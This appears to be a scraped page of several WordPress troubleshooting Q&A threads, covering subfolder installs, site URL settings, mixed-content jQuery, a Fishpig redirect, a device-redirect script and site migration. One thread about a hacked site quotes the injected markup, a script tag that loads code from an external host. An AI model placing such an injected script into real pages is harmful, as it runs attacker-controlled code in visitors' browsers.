So I have a weird problem here, I have created a website with HTML, CSS, and JavaScript but I have it as a PHP file so I can interact with a Wordpress blog I have also created. I have the WordPress blog in a folder inside my website eg. mywebsite/blog. Now while developing on localhost, everything works pretty fine but when I finally hosted it on a live server, the blog seems to load without the CSS; here's a link to the blog https://www.dexafxacademy.com/blog. At this point, I am lost as this is my first time, including Wordpress as a subfolder, so I don't have an idea of what the problem could be. Note that this works well in my localhost.
Thanks for providing a link to your site!
Using the Web Inspector in Chrome, I see that the problem is likely in your WordPress settings.
WP is attempting to load all your assets from https://dexafxacademy/blog
The correct URL would be https://dexafxacademy.com/blog
In the WordPress admin of your production site (not local), head to Settings > General and make sure your WordPress Address and Site Address fields have the correct URL containing .com.
Related
I've taken over managing a Wordpress site with a custom theme based off Underscores.me. I haven't had too many problems with it but recently I added a page (something I've done before with no problem) and later I noticed the banner/slider went black. I did not change the code in the editor and even went back and checked it with a copy of the code I made but didn't see any changes. I'm not sure if this is a theme/plugin issue but I haven't added any plugins.
The site is integratedneurologyservices.com
integratedneurologyservices.com looks like it was just recently moved onto an https:// domain. There are still resources called on the site that have an http:// protocol, one of which is jQuery, in the footer. Most web browsers block insecure scripts being called on a secure domain.
If you change that jQuery http:// protocol to https://, the banner will work.
I've copied a live site to a test server to test updating Wordpress on a Magento site that uses Fishpig to bridge content from Wordpress to Magento. Since the udpate, the site always redirects from the homepage to the wordpress folder. e.g. dev.site.com goes to dev.site.com/wordpress. It's not an .htaccess issues, if I wipe them out in both directories it still does it, if I rename index.php in the wordpress folder it stops it but breaks the preview. If I rename the theme and plugins folders it still redirects, something in the core is causing it but I am having issues figuring out what it is. Thanks.
Also if I change the site to show the latest blog post instead of the static home page, it doesn't redirect but shows the blog page.
We will need more information to help solve your problem.
Are your FishPig extensions at the latest version?
What FishPig add-on extensions, if any, are you using?
Have you tried disabling all WordPress plugins?
Do you have any error messages in System > Configuration > WordPress?
My guess is that your WordPress URLs aren't setup correctly and you're using an out dated add-on extension (eg. Visual Composer). There was a bug in older versions of some add-ons that caused this issue, but this has now been fixed.
If you can provide the actual link to your dev site, it will make debugging the issue much easier.
I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.
I have a website built with Wordpress that has been having permalink issues. A few days ago, I had added a simple file, named qr.php, that I dropped in at the root level (where the wp-content and wp-upload folders reside). It has a script that redirect to pages outside of my website depending on what type of device the user is using. Basically, some one on a Apple device gets redirected to an itunes page, and droid user to the droid app store, etc.
Could this non Wordpress page be causing issues? I have had static or html pages in amonst my root level files before, and never had an issue. I feel like the redirects may change this.
Rather than using the qr.php(cutom redirect file) in your wordpress site. You can use a plugin which will help to redirect the external links.
Some of the plugins which might help you to achieve your purpose are Device Redirect - WordPress Phone &Tablet Redirect , RedirectPlus - Wordpress Mobile Redirect Plugin.
See the screenshots, try demo and check whether it fits your requirement.
No, it dont cause any issue with permalink..
I am also using a wordpress website : abc.com and a php based software integrated to admin folder on root.. And I can access easily abc.com and abc.com/newfolder/abc.php
I uploaded my wordpress site from my Local host to a folder off my main domain (http://example.com/folder) using this tutorial http://www.webdesignerwall.com/tutorials/exporting-and-importing-wordpress/
(im working on a mac)
Everything went ok - admin panel is fine homepage is fine etc - only any page apart from the homepage redirects to this (http://example.com/folder/pagename) except instead of showing the content from that page it shows the unstyled information from the index page of my main root (http://example.com/)
What can I do to get this working?
Thanks
Do a general search with phpMyAdmin in your database for localhost URLs. And see How to Find and Replace Text in WordPress MySQL Database using SQL When Changing Domains » My Digital Life and Search RegEx « WordPress Plugins for grepping through posts and pages.
Better yet, use interconnectit.com WordPress Serialized PHP Search Replace Tool
And check your theme files for hardcoded links (as opposed to links using Template Tags/bloginfo « WordPress Codex
) to style sheets and pages.
Reset permalinks in Dashboard/Settings/Permalinks.
Check:
wp-admin > Settings > Wordpress address and Blog address
to include "folder"
to get this working ... delete all the posts/pages - go to ur local wordpress blog and export it.
login to ur web blog and import.
that would be an alternative solution to working with the database and as far as i know exporting/importing content works good in wp :)